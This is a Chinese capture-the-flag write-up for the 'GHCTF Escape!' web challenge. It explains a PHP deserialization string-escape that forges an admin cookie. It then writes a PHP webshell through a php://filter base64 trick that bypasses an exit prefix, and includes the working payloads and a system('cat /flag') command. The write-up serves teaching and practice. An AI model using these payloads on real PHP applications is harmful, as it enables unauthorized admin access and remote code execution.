当前位置: 首页 > news >正文

ctf-web:php反序列化逃逸 -- GHCTF Escape!

step 1 寻找利用点

随便注册一个进去,能写入文件

<?php  
ini_set('display_errors', 0);  
error_reporting(0);  
include "class.php";  
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {  
    // 获取 Cookie 内容  
    if (isset($_COOKIE[$cookieName])) {  
        $token = $_COOKIE[$cookieName];  
  
        // 解码并分割数据和签名  
        $decodedToken = base64_decode($token);  
        list($serializedData, $providedSignature) = explode('|', $decodedToken);  
  
        // 重新计算签名  
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);  
  
        // 比较签名是否一致  
        if ($calculatedSignature === $providedSignature) {  
            // 签名验证通过,返回序列化的数据  
            return $serializedData;  // 反序列化数据  
        } else {  
            // 签名验证失败  
            return false;  
        }  
    }  
    return false;  // 如果没有 Cookie}  
  
// 示例:验证并读取 Cookie$userData = checkSignedCookie();  
if ($userData) {  
    #echo $userData;  
    $user=unserialize($userData);  
    #var_dump($user);  
    if($user->isadmin){  
        $tmp=file_get_contents("tmp/admin.html");  
  
        echo $tmp;  
  
        if($_POST['txt']) {  
            $content = '<?php exit; ?>';  
       $content .= $_POST['txt'];  
       file_put_contents($_POST['filename'], $content);  
        }  
    }  
    else{  
        $tmp=file_get_contents("tmp/admin.html");  
        echo $tmp;  
        if($_POST['txt']||$_POST['filename']){  
        echo "<h1>权限不足,写入失败<h1>";  
}  
    }  
} else {  
    echo 'token验证失败';  
}

step 2 寻找伪造admin的方法

漏洞点出现在这里

$User=login($SQL,$username,$password);  
  
$User_ser=waf(serialize($User));  
  
setSignedCookie($User_ser);  
  
header("Location: dashboard.php");
function waf($c)  
{  
    $lists=["flag","'","\\","sleep","and","||","&&","select","union"];  
    foreach($lists as $list){  
        $c=str_replace($list,"error",$c);  
    }  
    #echo $c;  
    return $c;  
}

waf会将序列化后的内容替换为error,这是一个test用户应该有的序列化后的字符串

O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}

但是如果有用户叫

";s:7:"isadmin";b:0;}

他序列化后的数据就是

O:4:"User":2:{s:8:"username";s:21:"";s:7:"isadmin";b:0;}";s:7:"isadmin";b:0;}

我们要伪造isadmin为1

";s:7:"isadmin";b:1;}

接下来利用'将一个字符变为五个,也就是多出四个字符,我们需要想办法对其齐s:21,但是21不能被4整除,我们还得配合其他字符

'''''flag";s:7:"isadmin";b:1;}

序列化后的内容会从

O:4:"User":2:{s:8:"username";s:30:"'''''flag";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}

变成

O:4:"User":2:{s:8:"username";s:30:"errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}

即可成功伪造admin

step 3 文件写入拿shell

使用伪协议filter写和base64解码特性卡掉后面的东西

<?php eval($_POST[123])?>
filename=php://filter/convert.base64-decode/resource=./shell.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

后端和<?php exit; ?>拼上就是

<?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

base64解码后是

¦^Æ+Z<?php eval($_POST[123])?>

然后post获取flag即可

123=system('cat /flag');

相关文章:

  • Linux和RTOS简析
  • vulnhub靶场之stapler靶机
  • HTML+CSS基础(了解水平)
  • 【数据挖掘】KL散度(Kullback-Leibler Divergence, KLD)
  • 使用WireShark解密https流量
  • 剑指 Offer II 084. 含有重复元素集合的全排列
  • Vue中使用到的padStart方法是什么
  • 2.4 python网络编程
  • java集合总结
  • 问题一:如何理解 sizeof(s = a + 2) (来源:C语言的——操作符详解——(第18篇))
  • 前沿技术趋势:值得关注的创新发展
  • 睡不着营养贴纸
  • Java开发之数据库应用:记一次医疗系统数据库迁移引发的异常:从MySQL到PostgreSQL的“dual“表陷阱与突围之路
  • 高频面试题(含笔试高频算法整理)基本总结回顾43
  • 2024山东大学计算机复试上机真题
  • BUG修复 | 一次钉钉工作台应用远程调试实战(开发者工具)
  • 如何搭配 AI 量化策略选股
  • 优化 Java 数据结构选择与使用,提升程序性能与可维护性
  • ssh通过22端口无法连接服务器问题处理
  • Redis事务与管道
  • 观察|英国航母再次部署印太,“高桅行动”也是“高危行动”
  • 第二十届中国电影华表奖揭晓!完整获奖名单来了
  • 核电开闸!国常会核准10台新机组,拉动超2000亿投资,新项目花落谁家?
  • “梅花奖”快闪走入上海张园,朱洁静在石库门前起舞
  • 最高法知识产权法庭:6年来新收涉外案件年均增长23.2%
  • 特朗普签署行政命令推动深海采矿,被指无视国际规则,引发环境担忧